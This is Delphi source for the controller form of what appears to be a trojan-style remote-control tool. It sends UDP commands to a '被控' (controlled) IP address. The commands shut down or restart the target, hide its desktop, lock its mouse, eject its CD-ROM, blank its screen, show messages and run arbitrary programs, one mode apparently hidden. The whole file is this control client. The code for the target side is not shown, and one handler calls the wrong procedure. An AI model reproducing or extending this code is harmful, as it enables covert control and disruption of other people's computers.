unit UnitServer;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Menus, TB97, TB97Tlwn, Buttons, StdCtrls, NMUDP;
type
TForm1 = class(TForm)
MainMenu1: TMainMenu;
N11: TMenuItem;
N21: TMenuItem;
N1: TMenuItem;
N2: TMenuItem;
N3: TMenuItem;
N4: TMenuItem;
N5: TMenuItem;
N6: TMenuItem;
N7: TMenuItem;
N8: TMenuItem;
N9: TMenuItem;
N10: TMenuItem;
N12: TMenuItem;
N13: TMenuItem;
N14: TMenuItem;
N15: TMenuItem;
N16: TMenuItem;
N17: TMenuItem;
N18: TMenuItem;
N19: TMenuItem;
N20: TMenuItem;
N22: TMenuItem;
N23: TMenuItem;
N24: TMenuItem;
Dock971: TDock97;
ToolWindow971: TToolWindow97;
SpeedButton1: TSpeedButton;
SpeedButton2: TSpeedButton;
SpeedButton3: TSpeedButton;
SpeedButton4: TSpeedButton;
SpeedButton5: TSpeedButton;
SpeedButton6: TSpeedButton;
SpeedButton7: TSpeedButton;
SpeedButton8: TSpeedButton;
SpeedButton9: TSpeedButton;
SpeedButton10: TSpeedButton;
SpeedButton11: TSpeedButton;
SpeedButton12: TSpeedButton;
EdtIp: TEdit;
NMUDP1: TNMUDP;
Label1: TLabel;
procedure N3Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure N1Click(Sender: TObject);
procedure N2Click(Sender: TObject);
procedure N10Click(Sender: TObject);
procedure N12Click(Sender: TObject);
procedure N13Click(Sender: TObject);
procedure N14Click(Sender: TObject);
procedure N15Click(Sender: TObject);
procedure N17Click(Sender: TObject);
procedure N16Click(Sender: TObject);
procedure N19Click(Sender: TObject);
procedure N18Click(Sender: TObject);
procedure N20Click(Sender: TObject);
procedure N22Click(Sender: TObject);
procedure N23Click(Sender: TObject);
procedure N24Click(Sender: TObject);
private
{ Private declarations }
procedure winexit(var msg:tmessage);message wm_queryendsession;
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
const BufSize=2048;
var
RsltStream,TmpStream:TMemoryStream;
{$R *.dfm}
procedure TForm1.N3Click(Sender: TObject);
var
ReqCode:array[0..29] of char;
ReqCodeStr:string;
begin
ReqCodeStr:='close';
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
if edtIP.Text='' then
begin
edtIP.Text:=InputBox('被控IP','请输入IP地址','');
N3click(sender);
exit;
end;
NMUDP1.RemoteHost:=edtIP.Text;
NMUDP1.SendBuffer(ReqCode,30);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
RsltStream:=TMemoryStream.Create;
TmpStream:=TMemoryStream.Create;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
RsltStream.Free;
TmpStream.Free;
end;
procedure TForm1.N1Click(Sender: TObject);
var
ReqCode:array[0..29] of char;
ReqCodeStr:string;
begin
ReqCodeStr:='restart';
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
// SUDP.RemoteHost:=
NMUDP1.RemoteHost:=edtIP.Text;
NMUDP1.SendBuffer(ReqCode,30);
end;
procedure TForm1.N2Click(Sender: TObject);
var
ReqCode:array[0..29] of char;
ReqCodeStr:string;
begin
ReqCodeStr:='ccompu';
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
if edtIP.Text='' then
begin
edtIP.Text:=InputBox('被控IP','请输入IP地址','');
N2click(sender);
exit;
end;
NMUDP1.RemoteHost:=edtIP.Text;
NMUDP1.SendBuffer(ReqCode,30);
end;
procedure TForm1.N10Click(Sender: TObject);
var ReqCode:array[0..250] of char;
ReqCodeStr,xinxi:string;
begin
xinxi:=inputbox('请输入要发送的信息','信息 ','');
if xinxi<>'' then
begin
ReqCodeStr:=''+xinxi;
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
if edtIP.Text='' then
begin
edtIP.Text:=InputBox('被控IP','请输入IP地址','');
N10click(sender);
exit;
end;
NMUDP1.RemoteHost:=edtIP.Text;
NMUDP1.SendBuffer(ReqCode,250);
end;
end;
procedure TForm1.N12Click(Sender: TObject);
var ReqCode:array[0..29] of char;ReqCodeStr:string;
begin
ReqCodeStr:='cmouse';
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
if edtIP.Text='' then
begin
edtIP.Text:=InputBox('被控IP','请输入IP地址','');
N12click(sender);
exit;
end;
NMUDP1.RemoteHost:=edtIP.Text;
NMUDP1.SendBuffer(ReqCode,30);
end;
procedure TForm1.N13Click(Sender: TObject);
var
ReqCode:array[0..29] of char;
ReqCodeStr:string;
begin
ReqCodeStr:='omouse';
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
if edtIP.Text='' then
begin
edtIP.Text:=InputBox('被控IP','请输入IP地址','');
N13click(sender);
exit;
end;
NMUDP1.RemoteHost:=edtIP.Text;
NMUDP1.SendBuffer(ReqCode,30);
end;
procedure TForm1.N14Click(Sender: TObject);
var
ReqCode:array[0..29] of char;
ReqCodeStr:string;
begin
ReqCodeStr:='hdesk';
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
if edtIP.Text='' then
begin
edtIP.Text:=InputBox('被控IP','请输入IP地址','');
N14click(sender);
exit;
end;
NMUDP1.RemoteHost:=edtIP.Text;
NMUDP1.SendBuffer(ReqCode,30);
end;
procedure TForm1.N15Click(Sender: TObject);
var
ReqCode:array[0..29] of char;
ReqCodeStr:string;
begin
ReqCodeStr:='sdesk';
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
if edtIP.Text='' then
begin
edtIP.Text:=InputBox('被控IP','请输入IP地址','');
N15click(sender);
exit;
end;
NMUDP1.RemoteHost:=edtIP.Text;
NMUDP1.SendBuffer(ReqCode,30);
end;
procedure TForm1.N17Click(Sender: TObject);
var
ReqCode:array[0..29] of char;
ReqCodeStr:string;
begin
ReqCodeStr:='ccdrom';
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
if edtIP.Text='' then
begin
edtIP.Text:=InputBox('被控IP','请输入IP地址','');
N17click(sender);
exit;
end;
NMUDP1.RemoteHost:=edtIP.Text;
NMUDP1.SendBuffer(ReqCode,30);
end;
procedure TForm1.N16Click(Sender: TObject);
var
ReqCode:array[0..29] of char;
ReqCodeStr:string;
begin
ReqCodeStr:='ocdrom';
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
if edtIP.Text='' then
begin
edtIP.Text:=InputBox('被控IP','请输入IP地址','');
N16click(sender);
exit;
end;
NMUDP1.RemoteHost:=edtIP.Text;
NMUDP1.SendBuffer(ReqCode,30);
end;
procedure TForm1.N19Click(Sender: TObject);
var
ReqCode:array[0..250] of char;
ReqCodeStr:string;
mrun:string;
begin
mrun:=inputbox('请输入路径,文件名及参数',' 输入 ','');
if mrun<>'' then
begin
ReqCodeStr:='mrun'+mrun;
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
if edtIP.Text='' then
begin
edtIP.Text:=InputBox('被控IP','请输入IP地址','');
N19click(sender);
exit;
end;
NMUDP1.RemoteHost:=edtIP.Text;
NMUDP1.SendBuffer(ReqCode,250);
end;
end;
procedure TForm1.N18Click(Sender: TObject);
var
ReqCode:array[0..250] of char;
ReqCodeStr:string;
irun:string;
begin
irun:=inputbox('请输入路径,文件名及参数','输入','');
if irun<>'' then
begin
ReqCodeStr:='irun'+irun;
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
if edtIP.Text='' then
begin
edtIP.Text:=InputBox('被控IP','请输入IP地址','');
N18click(sender);
exit;
end;
NMUDP1.RemoteHost:=edtIP.Text;
NMUDP1.SendBuffer(ReqCode,250);
end;
end;
procedure TForm1.N20Click(Sender: TObject);
var
ReqCode:array[0..250] of char;
ReqCodeStr:string;
hrun:string;
begin
hrun:=inputbox('请输入路径,文件名及参数','输入','');
if hrun<>'' then begin
ReqCodeStr:='hrun'+hrun;
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
if edtIP.Text='' then
begin
edtIP.Text:=InputBox('被控IP','请输入IP地址','');
N20click(sender);
exit;
end;
NMUDP1.RemoteHost:=edtIP.Text;
NMUDP1.SendBuffer(ReqCode,250);
end;
end;
procedure TForm1.N22Click(Sender: TObject);
var
ReqCode:array[0..250] of char;
ReqCodeStr:string;
nrun:string;
begin
nrun:=inputbox('请输入路径,文件名及参数','输入','');
if nrun<>'' then
begin
ReqCodeStr:='nrun'+nrun;
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
if edtIP.Text='' then
begin
edtIP.Text:=InputBox('被控IP','请输入IP地址','');
N22click(sender);
exit;
end;
NMUDP1.RemoteHost:=edtIP.Text;
NMUDP1.SendBuffer(ReqCode,250);
end;
end;
procedure TForm1.N23Click(Sender: TObject);
var
ReqCode:array[0..29] of char;
ReqCodeStr:string;
begin
ReqCodeStr:='cscre';
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
if edtIP.Text='' then
begin
edtIP.Text:=InputBox('被控IP','请输入IP地址','');
N24click(sender);
exit;
end;
NMUDP1.RemoteHost:=edtIP.Text;
NMUDP1.SendBuffer(ReqCode,30);
end;
procedure TForm1.N24Click(Sender: TObject);
var
ReqCode:array[0..29] of char;
ReqCodeStr:string;
begin
ReqCodeStr:='oscre';
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
if edtIP.Text='' then
begin
edtIP.Text:=InputBox('被控IP','请输入IP地址','');
N24click(sender);
exit;
end;
NMUDP1.RemoteHost:=edtIP.Text;
NMUDP1.SendBuffer(ReqCode,30);
end;
procedure TForm1.winexit(var msg: tmessage);
begin
msg.Result:=1;
application.ProcessMessages;
application.Terminate;
end;
end.